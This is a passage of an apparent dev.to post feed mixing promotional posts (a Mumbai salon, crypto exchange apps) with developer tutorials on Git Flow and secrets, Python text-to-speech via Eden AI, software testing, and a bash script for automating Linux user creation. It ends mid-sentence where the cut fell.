Nestled in the vibrant neighborhood of Poisar, Mumbai, Kapil's Salon - Poisar stands as a beacon of...

https://dev.to/abitamim_patel_7a906eb289/discover-the-ultimate-salon-experience-at-kapils-salon-poisar-mumbai-404n

saloninmumbai, bestsaloninmumbai

Nestled in the vibrant neighborhood of Poisar, Mumbai, **[Kapil's Salon - Poisar](https://trakky.in/Mumbai/Khandiwali%20West/salons/Kapils-Salon-Poisar-khandiwali-west)** stands as a beacon of luxury and expertise in the bustling cityscape. Whether you're a local or a visitor seeking a pampering session, Kapil's Salon - Poisar promises an unparalleled experience that blends top-notch service with a welcoming ambiance. Luxurious Atmosphere and Expertise Step into **[Kapil's Salon - Poisar](https://trakky.in/Mumbai/Khandiwali%20West/salons/Kapils-Salon-Poisar-khandiwali-west)**, and you're greeted by a sophisticated ambiance that instantly relaxes and rejuvenates. The salon's commitment to luxury is evident in every detail, from plush seating areas to state-of-the-art grooming stations. Expert Stylists and Personalized Service At **[Kapil's Salon - Poisar](https://trakky.in/Mumbai/Khandiwali%20West/salons/Kapils-Salon-Poisar-khandiwali-west)**, grooming is an art mastered by seasoned professionals. Each stylist brings a wealth of experience and a passion for their craft, ensuring that every haircut, color, or treatment exceeds expectations. Whether you're looking for a classic haircut or a bold new look, Kapil's Salon - Poisar's stylists are dedicated to bringing your vision to life. Comprehensive Services for Every Need From haircuts and styling to rejuvenating facials and relaxing massages, **[Kapil's Salon - Poisar](https://trakky.in/Mumbai/Khandiwali%20West/salons/Kapils-Salon-Poisar-khandiwali-west)** offers a comprehensive range of services tailored to meet every grooming need. Each service is curated to enhance your natural beauty and leave you feeling refreshed and confident. Booking Made Easy with Trakky Booking your appointment at Kapil's Salon - Poisar is seamless with Trakky. Our platform allows you to browse services, check availability, and book your preferred time slot effortlessly. Whether you're planning ahead or need a last-minute appointment, Trakky ensures convenience at your fingertips. Visit Kapil's Salon - Poisar Today! Experience the epitome of luxury grooming at **[Kapil's Salon - Poisar, Mumbai](https://trakky.in/Mumbai/Khandiwali%20West/salons/Kapils-Salon-Poisar-khandiwali-west)**. Discover why discerning individuals choose Kapil's Salon - Poisar for their beauty needs. Book your appointment through Trakky and indulge in a personalized grooming experience like no other.

abitamim_patel_7a906eb289

Why Should You Use a Cryptocurrency Exchange App??

The world of cryptocurrency is growing, and with it comes an increasing need for secure and...

https://dev.to/monaliza_e46c7125c85f7ed5/why-should-you-use-a-cryptocurrency-exchange-app-17k4

cryptocurrency, cryptoexchange, cryptoexchangeapp

The world of cryptocurrency is growing, and with it comes an increasing need for secure and user-friendly platforms to buy, sell, and trade digital assets. This is the place where the cryptocurrency exchange app comes in. These apps, created using cryptocurrency exchange scripts, provide a streamlined and easy way to participate in the exciting world of crypto. But why exactly should you consider using a cryptocurrency exchange app? Let's explore the key benefits of using the cryptocurrency Exchange App: ** #1 Ease of use Accessibility:** Cryptocurrency exchange apps are created with a user-friendly interface, making them ideal for beginners and experienced traders alike. These apps usually have intuitive interfaces, clear navigation, and simple buy/sell options, enabling you to jump right in, even if you have no previous experience with cryptocurrency. Also, the mobile app format offers unmatched accessibility. You can manage markets, handle your portfolio, and execute trades from anywhere, anytime, as long as you have an internet connection. **#2 Secure transactions and storage:** Security is necessary when trading with cryptocurrency. Reputable cryptocurrency exchange apps prioritize user safety by implementing strong security measures. This combines features like multi-factor authentication, secure key storage solutions, and regular system audits, to protect your digital assets from unauthorized access. Some exchanges provide custodial storage, where they handle your private keys, it's vital to be aware of the potential risks and consider using your secure wallet for maximum control. **#3 Diverse cryptocurrency selection:** The cryptocurrency market is extensive and constantly evolving. The best cryptocurrency exchange app will offer access to a diverse range of popular and emerging cryptocurrencies. This enables you to diversify your portfolio, explore new investment opportunities, and potentially reap the perks of a growing market. **#4 Streamlined Trading features:** Advanced cryptocurrency exchange Apps provide a variety of features to improve your trading experience. These may include: Market orders/ Limit orders: Perform trades immediately at market price or set specific buy/sell prices for more control over your transactions. Trading charts and analysis tools: Gain valuable insights into market trends with technical indicators and charting tools to make informed trading decisions. Order book and trade history: Monitor real-time order activity and track your past trades for better portfolio management. **#5 Competitive fees and transparency: **Transaction fees can greatly affect your profits. Reputable Cryptocurrency Exchange Apps aim to deliver competitive fee structures with clear breakdowns of charges associated with buying, selling, and trading cryptocurrencies. This transparency permits you to make informed decisions and optimize your investment strategy. **#6 Additional Financial services: **Most cryptocurrency exchange apps go beyond basic trading functionalities and provide additional financial services. These may include: Staking: Earn passive income by having certain cryptocurrencies that use a Proof-of-Stake consensus mechanism. Margin Trading: Boost your potential returns and risks by borrowing funds from the exchange to trade with leverage. Fiat On-Ramp & Off-Ramp: Easily convert between your local currency and cryptocurrencies using incorporated payment gateways. **#7 Secure and Manageable Login:** Cryptocurrency Exchange Apps typically present secure login options like two-factor authentication (2FA) to add an extra layer of protection. 2FA needs a secondary verification step beyond just your password, greatly lowering the risk of unauthorized access. ** #8 Real-Time Market Updates and News:** Stay on top of the ever-changing cryptocurrency market with real-time price updates and incorporated news feeds within the app. This enables you to make informed decisions based on the latest market trends and developments. **#9 Streamlined Customer support: **Should you experience any issues while using the Cryptocurrency Exchange App, reliable customer support is essential. Peek for apps that provide multiple support channels, such as email, live chat, and FAQs, to ensure your questions and concerns are addressed promptly. **#10 Potential for Growth: **The cryptocurrency market is still young and holds immense growth potential. By joining the market early through a user-friendly Cryptocurrency Exchange App, you can place yourself to benefit from future advancements and potential price appreciation of various cryptocurrencies. **Selecting the right cryptocurrency exchange App: **With a vast array of cryptocurrency exchange apps available, selecting the best one for your needs is important. Here are some key factors to consider: Security: Prioritize apps with a strong reputation for security measures and user fund protection. Supported Cryptocurrencies: Confirm the app suggests the cryptocurrencies you're interested in buying, selling, or trading. Fees: Compare fee structures and select an app that matches your trading volume and budget. User Interface: Opt for an app with a user-friendly interface that caters to your experience level. End Words While there are numerous reliable **[cryptocurrency exchange script](https://www.cryptocurrencyscript.com/cryptocurrency-exchange-script)**, Zodeak, a cryptocurrency exchange development company stands out for its beginner-friendly approach, various coin selection, and focus on security. Its intuitive interface makes navigating the crypto world a breeze, and its commitment to user safety provides you peace of mind. So, if you're looking for a reliable and user-focused platform to start your crypto journey, Zodeak is a strong contender. 

monaliza_e46c7125c85f7ed5

islamic pictute

A post by Talha mehmood

https://dev.to/talha_mehmood_433bbc34b85/islamic-pictute-1pkd


talha_mehmood_433bbc34b85

Encryption and decyption filesysytem

&lt;VirtualHost *:80&gt; ServerName your_domain.com ProxyRequests Off ProxyPreserveHost...

https://dev.to/awais_684/encryption-and-decyption-filesysytem-42n6

``` <VirtualHost *:80> ServerName your_domain.com ProxyRequests Off ProxyPreserveHost On <Proxy *> Order allow,deny Allow from all </Proxy> ProxyPass / http://localhost:3000/ ProxyPassReverse / http://localhost:3000/ ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> ```

awais_684

Learning Coding

I just found out that ChatGPT has an explain section for a specific code and gives you insight about...

https://dev.to/angel_sanchez_56/learning-coding-942

coding, newbie, code

I just found out that ChatGPT has an explain section for a specific code and gives you insight about what that code means and does :o

angel_sanchez_56

Good practices that make a difference #2 📝

This is the second post in a series about good practices that I learned during my journey, both at...

https://dev.to/superp0sit1on/good-practices-that-make-a-difference-2-30lk

beginners, programming, productivity

This is the second post in a series about good practices that I learned during my journey, both at work and in recruiting processes, as well as at college and personal or community projects. Check out the first post [clicking here](https://dev.to/superp0sit1on/small-good-practices-that-make-a-difference-part-1-584). ## Summary - [1. Git Flow](#1-git-flow) - [2. Secrets](#2-secrets) - [3. Organizing a project](#3-organizing-a-project) ## 1. Git Flow This is an extensive subject, so we will try to summarize its main points, but I highly recommend looking into this topic in more depth later, as well as all the other topics I have introduced you to. **Git Flow** is a workflow model for **Git**[^1] repositories, being a great ally in medium or large projects, or even in smaller projects with more than one person working, as it helps us organize and standardize the structure of our repository/Git project. To adopt Git Flow, you must have at least two of the first main branches below: - **`main`**[^2]: main branch containing all stable and previously approved changes in other branches. - **`develop`**[^2]: intermediate branch where changes are made (normally only in small projects) or merged from other temporary branches. - **`hom`**: intermediate branch for the purpose of approving changes, before sending them to main. - **`stage`**: less common intermediate branch, also for approval purposes, however, connected to an environment with configurations similar to those of the production environment, for example, in cases of big commercial web applications. And finally, the temporary branches, where changes are normally developed: - **`feature/feature-name`**: branches where certain features are developed and then merged into the develop branch. - **`fix/fix-name`**: branches where corrections are developed for bugs found or reported by users. - **`hotfix/fix-name`**: branches where urgent fixes are developed, for which it is normally not possible to wait for the entire delivery flow of a new version. - **`release/release-name`**: branches where we merge all planned changes for a given version of the project, normally used with some continuous integration automation. To conclude, in Git Flow we conduct work on temporary branches and then merge everything into the develop branch, optionally merging for testing and approval purposes into the stage, hom, or even the develop branch itself, and finally, merging into the main branch, making the changes available in production. Another interesting point about Git Flow is that it helps us to better structure our **continuous integration (CI)** tools, however, it is not recommended for **continuous delivery (CD)** cases, as it would generate the need for long-term or even permanent branches (in addition to the 2 or 3 main ones). [^1]: It is quite common to see confusion regarding Git, GitHub, GitLab, etc. But it is important to remember that Git is the versioning tool, while GitHub and alike are secure cloud hosting and management platforms for these Git repositories/projects. [^2]: Nowadays, the naming pattern `master`, `slave`, among others, is no longer used, due to its racist connotation and in support of the "Black Lives Matter" movement, starting with GitHub, and then, other companies adopting the new pattern for the same reasons. ## 2. Secrets This is all confidential data used in applications that should not be publicly accessible, such as passwords, API keys, tokens, etc. But how can we hide them in our projects? We normally use environment variables (or just env vars) and tools specialized in managing and securely hosting secrets, such as [AWS Secrets Manager](https://aws.amazon.com/en/secrets-manager). Operational systems have environment variable managers, but it is common to also see the use of files such as `.env`[^3] to facilitate the use of project-specific secrets: ```env DB_HOST=172.0.0.1 DB_PORT=5432 DB_USER=admin DB_PASSWORD=123 ``` Many technologies natively have functions or methods for reading and manipulating environment variables, however, in some cases it is necessary to use third-party libraries, as was the case with Node.js, but today since version 20.6.0, natively supporting reading `.env` files. For example, given the `.env` file above and the code below: ```javascript const DB_HOST = process.env.DB_HOST, DB_PORT = process.env.DB_PORT, DB_USER = process.env.DB_USER, DB_PASSWORD = process.env.DB_PASSWORD; ... ``` It would be enough to start our project with the following arguments in the terminal, so that the Node.js application would execute loading the secrets contained in the `.env` file: ```shell node --env-file=.env file_name.js ``` [^3]: Files that contain secrets such as `.env`, by their nature must be included in the `.gitignore` file in case of uploading to remote repositories, otherwise anyone with access to these repositories would have access to them, even if they did not have authorization for using it. ## 3. Organizing a project As we already saw in the [first post](https://dev.to/superp0sit1on/small-good-practices-that-make-a-difference-part-1-584), each person, technology, team, or company can have patterns/conventions for organizing projects, folders, files, etc. It is important to know the most used patterns in the area or technology you use, as they are normally described in articles or even in the documentation itself, such as in the following documentation for [Next.js](https://nextjs.org/docs/getting-started/project-structure) or [FastAPI](https://fastapi.tiangolo.com/tutorial/bigger-applications). --- That's it for today, I hope you like it and for any feedback or constructive discussion, see you on social media and here in the comments! 🎉

superp0sit1on

VIDEO | How to Generate Voice (Text-to-Speech) using Python

Welcome to our comprehensive tutorial on generating voice from text using AI and Python! Whether...

https://www.edenai.co/post/how-to-generate-voice-text-to-speech-with-ai-using-python

ai, api, python

Welcome to our comprehensive tutorial on generating voice from text using AI and Python! Whether you’re building a virtual assistant, creating audio content, or exploring the possibilities of AI-driven speech synthesis, this tutorial will equip you with the knowledge and tools you need. ## What is [Text-to-Speech (Voice Generation)](https://www.edenai.co/feature/text-to-speech-apis?referral=tuto-voice-gen-video)?‍  [Text-to-Speech (TTS)](https://www.edenai.co/feature/text-to-speech-apis?referral=tuto-voice-gen-video), also known as voice generation, is a technology that converts written text into spoken words. Using advanced algorithms and machine learning, TTS systems can read text aloud in a natural-sounding voice. This technology has numerous applications, from assisting visually impaired individuals to enabling hands-free interaction with digital devices.‍ ## Applications of Text-to-Speech **- Accessibility:** TTS is widely used to assist people with visual impairments or reading disabilities, providing them with audio versions of written content. **- Virtual Assistants:** Digital assistants like Siri, Alexa, and Google Assistant use TTS to interact with users. **- Content Creation:** TTS can be used to generate audio versions of articles, books, and other text-based content. **- Customer Service:** Automated phone systems and chatbots often use TTS to provide information and support to customers.‍ ## How to Generate Voice from Text? **_Watch the video [HERE](https://youtu.be/VdivYZ3EGsc)_** ### Step 1: Set Up Your Eden AI Account **‍1. Sign Up:** If you don’t have an Eden AI account, create a free one using the following [link](https://app.edenai.run/user/register?referral=tuto-voice-gen-video).  **_[Get your API key for FREE](https://app.edenai.run/user/register?referral=tuto-voice-gen-video)_** **2. Access Speech Technologies:** After logging in, navigate to the speech section of the platform. **3. Select Text-to-Speech:** Choose the text-to-speech feature. You can also explore asynchronous text-to-speech depending on your needs. ### Step 2: Live Test TTS Models on Eden AI‍ **1. Choose Providers:** Scroll down to see different providers on the right side and the live testing section at the bottom. **2. Configure Settings:** Select your preferred language and the gender of the speaker (male or female). **3. Input Text:** Enter a sample text, for example: “Hello, I’m an assistant. How can I help you?” **4. Download or Visualize:** Run the test, and download the audio files or visualize the results.‍ ### Step 3: Implementing Text-to-Speech in Python Now, let’s implement this in Python. We’ll show you how to perform text-to-speech synchronously and asynchronously.‍ #### Synchronous Text-to-Speech‍ **1. Install Required Libraries:** Ensure you have the necessary libraries installed. Use for making API calls. `pip install requests` **2. Sample Code‍** ``` import requests import base64 API_KEY = 'YOUR_EDEN_AI_API_KEY' ENDPOINT = 'https://api.edenai.run/v2/audio/text_to_speech' headers = { 'Authorization': f'Bearer {API_KEY}', 'Content-Type': 'application/json' } data = { 'providers': 'openai', 'language': 'en-US', 'text': "Hi, how can I help you?" } response = requests.post(ENDPOINT, headers=headers, json=data) if response.status_code == 200: result = response.json() audio_base64 = result'openai''audio' audio_data = base64.b64decode(audio_base64) with open('output.wav', 'wb') as audio_file: audio_file.write(audio_data) print("Audio saved as output.wav") else: print(f"Error: {response.status_code}") ``` **3. Explanation:** - This script sends a POST request to the Eden AI API endpoint with your API key. - The response contains the audio in Base64 format, which we decode and save as a `.wav` file.‍ #### Asynchronous Text-to-Speech‍ **1. Sample Code:** ``` import requests import time API_KEY = 'YOUR_EDEN_AI_API_KEY' ENDPOINT = 'https://api.edenai.run/v2/audio/text_to_speech_async' headers = { 'Authorization': f'Bearer {API_KEY}', 'Content-Type': 'application/json' } data = { 'providers': 'openai', 'language': 'en-US', 'text': "Hi, how could I help you?" } # Initiate the job response = requests.post(ENDPOINT, headers=headers, json=data) if response.status_code == 200: job_id = response.json()['job_id'] # Polling the job status status_endpoint = f'{ENDPOINT}/{job_id}' while True: status_response = requests.get(status_endpoint, headers=headers) if status_response.status_code == 200: status_data = status_response.json() if status_data['status'] == 'completed': audio_url = status_data['result']['audio_url'] break else: print("Waiting for the job to complete...") time.sleep(5) # Wait for 5 seconds before checking again else: print(f"Error: {status_response.status_code}") break # Download the audio file audio_response = requests.get(audio_url) with open('output_async.wav', 'wb') as audio_file: audio_file.write(audio_response.content) print("Asynchronous audio saved as output_async.wav") else: print(f"Error: {response.status_code}") ``` **‍ 2. Explanation:** - This script initiates an asynchronous text-to-speech job and retrieves the job ID. - It then polls the job status periodically until the job is completed. - Once completed, it downloads the audio file using the provided URL.‍ ## Conclusion You have now learned how to use Eden AI to generate voice from text both synchronously and asynchronously using Python. This powerful tool allows you to create AI workflows that incorporate the best Text-to-Speech Models. Feel free to experiment with different providers and settings to find the best fit for your needs. Happy coding!‍ ## Benefits of using Eden AI’s unique API Using Eden AI API is quick and easy.  ### Save time and cost We offer a unified API for all providers: simple and standard to use, with a quick switch that allows you to have access to all the specific features very easily (diarization, timestamps, noise filter, etc.).‍ ### Easy to integrate The JSON output format is the same for all suppliers thanks to Eden AI’s standardization work. The response elements are also standardized thanks to Eden AI’s powerful matching algorithms.‍ ### Customization With Eden AI you can integrate a third-party platform: we can quickly develop connectors. To go further and customize your API request with specific parameters, check out our documentation.‍ You can see Eden AI documentation [here](https://docs.edenai.co/docs/image-analysis?referral=how-to-generate-voice-text-to-speech-with-ai-using-python).‍ ## Next step in your project The Eden AI team can help you with your Image Similarity Search integration project. This can be done by : - Organizing a product demo and a discussion to understand your needs better. You can book a time slot on this link: [Contact](https://www.edenai.co/contact?referral=how-to-implement-image-similarity-search-with-python) - By testing the public version of Eden AI for free: however, not all providers are available on this version. Some are only available on the Enterprise version. - By benefiting from the support and advice of a team of experts to find the optimal combination of providers according to the specifics of your needs - Having the possibility to integrate on a third-party platform: we can quickly develop connectors. ‍‍**_[Create your Account on Eden AI](https://app.edenai.run/user/register?referral=tuto-voice-gen-video)_**

edenai

The Critical Role of Writing Tests in Software Development

Introduction In software development, writing tests is often seen as a tedious task, but...

https://dev.to/davitacols/the-critical-role-of-writing-tests-in-software-development-34k5

# Introduction In software development, writing tests is often seen as a tedious task, but it is one of the most crucial aspects of creating robust, maintainable, and reliable software. Tests help developers catch bugs early, ensure code quality, and provide a safety net for future changes. This guide explores why writing tests is essential for developers and how it contributes to the overall success of a project. ## Why Writing Tests Is Important 1. **Ensuring Code Quality** Tests help maintain high standards of code quality. By writing tests, developers can ensure that their code works as expected and meets the requirements. Tests catch errors and bugs before the code is deployed, reducing the risk of introducing faulty features. 2. **Facilitating Refactoring** Refactoring is an essential practice in software development to improve the structure and readability of code without changing its behavior. Having a comprehensive suite of tests allows developers to refactor code confidently, knowing that any regressions will be caught immediately. 3. **Enhancing Collaboration** In a team environment, tests serve as a form of documentation. They provide clear examples of how the code is supposed to behave, making it easier for other developers to understand and work with the codebase. This is especially important in large projects with multiple contributors. 4. **Supporting Continuous Integration and Continuous Deployment (CI/CD)** CI/CD pipelines rely heavily on automated tests to ensure that new code changes do not break existing functionality. By writing tests, developers contribute to a smoother CI/CD process, leading to faster and more reliable deployments. 5. **Reducing Debugging Time** Well-written tests can significantly reduce the time spent debugging. When a bug is found, tests help isolate the problem quickly, allowing developers to focus on fixing the issue rather than searching for it. This leads to more efficient development cycles. 6. **Improving Code Coverage** Code coverage metrics show how much of the codebase is tested. High code coverage ensures that most, if not all, of the code is verified to work correctly. Writing tests improves code coverage, leading to more reliable and stable software. ## Types of Tests Developers Should Write 1. **Unit Tests** - **Purpose:** Verify the functionality of individual units of code (e.g., functions, methods). - **Importance:** Unit tests ensure that each component works correctly in isolation, making it easier to identify and fix issues. 2. **Integration Tests** - **Purpose:** Test the interaction between different modules or services. - **Importance:** Integration tests ensure that different parts of the system work together as expected, catching issues that unit tests might miss. 3. **End-to-End (E2E) Tests** - **Purpose:** Simulate real user scenarios and test the entire application flow. - **Importance:** E2E tests verify that the software works correctly from the user's perspective, ensuring a smooth user experience. 4. **Regression Tests** - **Purpose:** Ensure that new changes do not break existing functionality. - **Importance:** Regression tests are crucial for maintaining software stability as the codebase evolves over time. ## Best Practices for Writing Tests 1. **Write Tests Early** Start writing tests as soon as you begin writing code. This practice, known as Test-Driven Development (TDD), can lead to better-designed, more maintainable code. 2. **Keep Tests Simple** Tests should be easy to read and understand. Avoid complex logic in tests to make them more maintainable and less prone to errors. 3. **Aim for High Coverage** While 100% code coverage is often unrealistic, aim for as high coverage as possible. Focus on critical parts of the codebase and areas prone to bugs. 4. **Use Mocking and Stubbing** For unit tests, use mocking and stubbing to isolate the code being tested. This helps ensure that tests are focused and run quickly. 5. **Regularly Review and Refactor Tests** Just like production code, tests need maintenance. Regularly review and refactor tests to keep them relevant and effective. ## Conclusion Writing tests is an essential practice for any developer aiming to produce high-quality, reliable software. Tests not only catch bugs early but also support better code design, facilitate collaboration, and enhance the overall development process. By incorporating comprehensive testing strategies, developers can ensure that their software meets the highest standards and provides a seamless experience for users.

davitacols

Automating User Management with Bash Scripting

Managing users and groups is a fundamental aspect of system administration in Linux environments. As...

https://dev.to/0xmobi/automating-user-management-with-bash-scripting-4e53

bash, linux, authorization

Managing users and groups is a fundamental aspect of system administration in Linux environments. As systems grow in complexity and the number of users increases, manual user management becomes tedious, error-prone, and difficult to scale. This article will guide you through creating a bash script to automate user and group management based on a provided text file. ## Problem Statement The challenge lies in streamlining the process of creating new users with specific group memberships, generating secure passwords, and meticulously logging all actions for auditing and troubleshooting. Imagine a scenario where a company onboards multiple new employees requiring immediate access to system resources. Manually creating each user account, setting appropriate permissions, and assigning them to the correct groups would be time-consuming and prone to human error. ## Requirements To address this challenge, the following requirements were identified: - **Automated User and Group Creation**: The script should create new user accounts and groups based on information provided in a structured input file. - **Password Generation and Secure Storage**: The script must generate strong, random passwords for each user and store them securely to prevent unauthorized access. - **Group Membership Management**: The script should dynamically assign users to existing or newly created groups as specified in the input file. - **Comprehensive Logging**: All actions performed by the script, including user and group creation, password settings, and any errors encountered, should be meticulously logged for auditing and debugging. ## Creating the Project To tackle the user management automation task, we'll develop a Bash script. Let's break down the script creation process step by step: ### 1. Defining Essential Variables and Functions First, we need to set up some essential variables and functions that our script will use throughout its execution. We'll define where to store log information, where to store generated passwords, how to log actions taken by the script, and how to generate random passwords. ```bash #!/bin/bash # Log file path LOG_FILE="/var/log/user_management.log" # Password file path PASSWORD_FILE="/var/secure/user_passwords.csv" # Ensure the secure directory exists mkdir -p /var/secure chmod 700 /var/secure # Log function log_action() { echo "$(date +'%Y-%m-%d %H:%M:%S') - $1" >> "$LOG_FILE" } # Function to generate a random password generate_password() { tr -dc A-Za-z0-9 </dev/urandom | head -c 12 } ``` In this code, we define the `LOG_FILE` variable to hold the path to our log file, recording every action taken by the script. Similarly, `PASSWORD_FILE` stores the path to a file where we'll securely store the generated usernames and passwords. To ensure the security of the password file, we create a directory `/var/secure` (if it doesn't exist) and set appropriate permissions using `chmod 700`. Next, we define the `log_action` function. This function streamlines the logging process by automatically adding a timestamp before each message written to the log file. The `generate_password` function provides a mechanism to generate random **12-character alphanumeric passwords**, which we'll use to create secure user accounts. ### 2. Input Handling and Validation Now that our script has its basic tools, we need to equip it to handle input. We'll design the script to accept the name of a file containing user information as an argument. Here's how we implement this: ```bash # Check if the input file is provided if [ $# -ne 1 ]; then echo "Missing Argument: <name-of-text-file>. Only one argument is required." exit 1 fi INPUT_FILE="$1" # Ensure the log and password files exist touch "$LOG_FILE" touch "$PASSWORD_FILE" chmod 600 "$PASSWORD_FILE" ``` This section ensures that the script receives exactly one argument—the name of the text file. We use an `if` statement with the `[ $# -ne 1 ]` condition to check the number of arguments. If the script is executed without the required input file, it will display an error message and gracefully exit with an error code of 1 `exit 1`. The provided file name is then stored in the `INPUT_FILE` variable. Lastly, we use the `touch` command to create both the log file (`$LOG_FILE`) and the password file (`$PASSWORD_FILE`) if they don't exist. We also set secure permissions (read and write only for the owner) on the `PASSWORD_FILE` using `chmod 600 `to protect sensitive information. ### 3. Processing the Input File With the input mechanism in place, we're ready to process the input file line by line. Each line in the file represents a user, containing their username and group memberships separated by a semicolon. ```bash # Read the input file line by line while IFS=';' read -r username groups; do # Trim leading/trailing whitespace username=$(echo "$username" | xargs) groups=$(echo "$groups" | xargs) # Check if the username is empty if [ -z "$username" ]; then continue fi # ... (We'll add user creation and group assignment logic here in the next step) done < "$INPUT_FILE" ``` This code block uses a while loop to iterate through each line of the `$INPUT_FILE`. We set the `IFS` (Internal Field Separator) to a semicolon, so each line is split into fields wherever a semicolon (;) appears. The read command then assigns the first field (the username) to the username variable and the remaining fields (the groups) to the groups variable. We then trim any extra spaces from the `username` and `groups` variables using `xargs`. This ensures consistency and prevents issues that might arise from unintended whitespace. An empty username signifies an invalid entry, prompting us to skip to the next line using the `continue` statement. ### 4. User and Group Management This section is the heart of our script, where we'll implement the logic for creating users, creating their personal groups, and assigning them to the appropriate groups. ```bash # Create the user's personal group if ! getent group "$username" > /dev/null; then groupadd "$username" log_action "Created group $username" fi # Create the user with the user's personal group if ! id -u "$username" > /dev/null 2>&1; then useradd -m -g "$username" -s /bin/bash "$username" log_action "Created user $username with group $username" else log_action "User $username already exists" fi # Set up home directory permissions chmod 700 /home/"$username" chown "$username":"$username" /home/"$username" # Assign the user to additional groups if [ -n "$groups" ]; then IFS=',' read -ra GROUP_ARRAY <<< "$groups" for group in "${GROUP_ARRAY[@]}"; do group=$(echo "$group" | xargs) if ! getent group "$group" > /dev/null; then groupadd "$group" log_action "Created group $group" fi usermod -aG "$group" "$username" log_action "Added user $username to group $group" done fi ``` Let's examine the code closely. First, we use `getent` group to check if a group with the user's name already exists. If it doesn't, we create the group using `groupadd` and log the action. Next, we check for the existence of the user using `id -u`. If the user doesn't exist, the `useradd` command comes into play. The `-m` flag tells `useradd` to create the user's home directory, -g "`$username`" assigns the user's personal group as their primary group, and -s /bin/bash sets their default shell to `/bin/bash`. Of course, we diligently log this successful user creation. If a user already exists, the script logs that information. After creating the user, we set the appropriate permissions on the user's home directory using `chmod 700`, giving the owner (the user) full control (read, write, execute). We also ensure the user is the owner of their home directory using `chown`. The final part of this section handles additional group assignments. If the groups variable is not empty (meaning additional groups are specified), we split the comma-separated group names into an array called `GROUP_ARRAY`. We then iterate through each group in the array; for each group, it checks if the group exists and creates it if needed (just like we did for the personal group). Finally, it adds the user to the group using `usermod -aG`. ### 5. Password Management Our final step involves generating a secure password for each user, setting that password for the user's account, and then securely storing this sensitive information. ```bash # Generate a random password and set it password=$(generate_password) echo "$username:$password" | chpasswd log_action "Set password for user $username" # Store the username and password securely echo "$username,$password" >> "$PASSWORD_FILE" ``` We first call our `generate_password` function to obtain a random password, storing it in the `password` variable. Next, we use the chpasswd command to set this password for the user. The echo "`$username:$password`" construct pipes the username and password in the required format to `chpasswd`. As always, we record this successful password setting in our log file. Finally, we append the newly created username and password pair (separated by a comma) to our secure `PASSWORD_FILE`. ## Testing the Script It's time to put it to the test. We'll execute the script, providing it with a sample input file containing user information. You can find a sample text file in this [GitHub Gist](https://gist.github.com/Mobey-eth/e8f23208a215e14afebaa2f3f515245e) Make sure you have saved the script as `create_users.sh` and made it executable using: ```bash sudo chmod +x create_users.sh ``` Now, run the script by passing the name of your input file as an argument: ```bash sudo ./create_users.sh users.txt ``` Replace `users.txt` with the actual name of your input file if it's different. ### Verify the Results After running the script, it's essential to confirm that everything worked as expected. - **Check the Log File**: To review the actions taken by our script, open the log file located at `/var/log/user_management.log`. This file serves as a detailed record of the script's execution. Carefully examine the log entries to confirm that users and groups were created as intended and that passwords were successfully set. ```bash ubuntu@mobi:~$ cat /var/log/user_management.log 2024-07-04 21:31:19 - Created group light 2024-07-04 21:31:19 - Created user light with group light 2024-07-04 21:31:19 - Added user light to group sudo 2024-07-04 21:31:19 - Created group dev 2024-07-04 21:31:19 - Added user light to group dev 2024-07-04 21:31:19 - Added user light to group www-data 2024-07-04 21:31:19 - Set password for user light 2024-07-04 21:31:19 - Created group idimma 2024-07-04 21:31:19 - Created user idimma with group idimma 2024-07-04 21:31:19 - Added user idimma to group sudo 2024-07-04 21:31:19 - Set password for user idimma 2024-07-04 21:31:19 - Created group mayowa 2024-07-04 21:31:19 - Created user mayowa with group mayowa 2024-07-04 21:31:20 - Added user mayowa to group dev 2024-07-04 21:31:20 - Added user mayowa to group www-data 2024-07-04 21:31:20 - Set password for user mayowa 2024-07-04 21:31:20 - Created group alice 2024-07-04 21:31:20 - Created user alice with group alice 2024-07-04 21:31:20 - Added user alice to group sudo 2024-07-04 21:31:20 - Added user alice to group dev 2024-07-04 21:31:20 - Set password for user alice 2024-07-04 21:31:20 - Created group bob 2024-07-04 21:31:20 - Created user bob with group bob 2024-07-04 21:31:20 - Added user bob to group dev 2024-07-04 21:31:20 - Added user bob to group www-data 2024-07-04 21:31:20 - Set password for user bob 2024-07-04 21:31:20 - Created group charlie 2024-07-04 21:31:20 - Created user charlie with group charlie 2024-07-04 21:31:20 - Added user charlie to group sudo 2024-07-04 21:31:20 - Set password for user charlie 2024-07-04 21:31:20 - Created group daniel 2024-07-04 21:31:20 - Created user daniel with group daniel 2024-07-04 21:31:20 - Added user daniel to group dev 2024-07-04 21:31:20 - Added user daniel to group www-data 2024-07-04 21:31:20 - Set password for user daniel 2024-07-04 21:31:20 - Created group eve 2024-07-04 21:31:20 - Created user eve with group eve 2024-07-04 21:31:20 - Added user eve to group sudo 2024-07-04 21:31:20 - Added user eve to group www-data 2024-07-04 21:31:21 - Set password for user eve 2024-07-04 21:31:21 - Created group frank 2024-07-04 21:31:21 - Created user frank with group frank 2024-07-04 21:31:21 - Added user frank to group dev 2024-07-04 21:31:21 - Set password for user frank 2024-07-04 21:31:21 - Created group george 2024-07-04 21:31:21 - Created user george with group george 2024-07-04 21:31:21 - Added user george to group sudo 2024-07-04 21:31:21 - Added user george to group dev 2024-07-04 21:31:21 - Added user george to group www-data 2024-07-04 21:31:21 - Set password for user george 2024-07-04 21:31:21 - Created group henry 2024-07-04 21:31:21 - Created user henry with group henry 2024-07-04 21:31:21 - Added user henry to group sudo 2024-07-04 21:31:21 - Set password for user henry 2024-07-04 21:31:21 - User bob already exists 2024-07-04 21:31:21 - Added user bob to group sudo 2024-07-04 21:31:21 - Added user bob to group dev 2024-07-04 21:31:21 - Added user bob to group www-data 2024-07-04 21:31:21 - Set password for user bob ``` - **Verify Password Storage**: Next, let's ensure our passwords are stored securely. Verify that the password file exists at the path specified in our script: `/var/secure/user_passwords.csv`. Open this file and examine its contents. It should contain the generated usernames and their corresponding passwords, formatted as `username,password` for each entry. ```bash ubuntu@mobi:~$ sudo cat /var/secure/user_passwords.csv light,Q5RvEhh65dZo idimma,nKXhAtai7T97 mayowa,HRMmZ6nkIda6 alice,UMZiNsT02NQM bob,2d1ZfdYZbldF charlie,K4esdb8BC9Xt daniel,p0iq7Cstgn4c eve,DJQB3grtcFQQ frank,Nh6JxwRJ8azq george,3VC2ya1b41Xl henry,DF9FL9HxPYq0 bob,nA4JQvk3skAk ``` ## Conclusion This article has walked you through automating user and group creation in Linux using a Bash script. With this script, system administrators can efficiently onboard new users within their organization, eliminating repetitive manual steps. The complete script can be found in this [GitHub 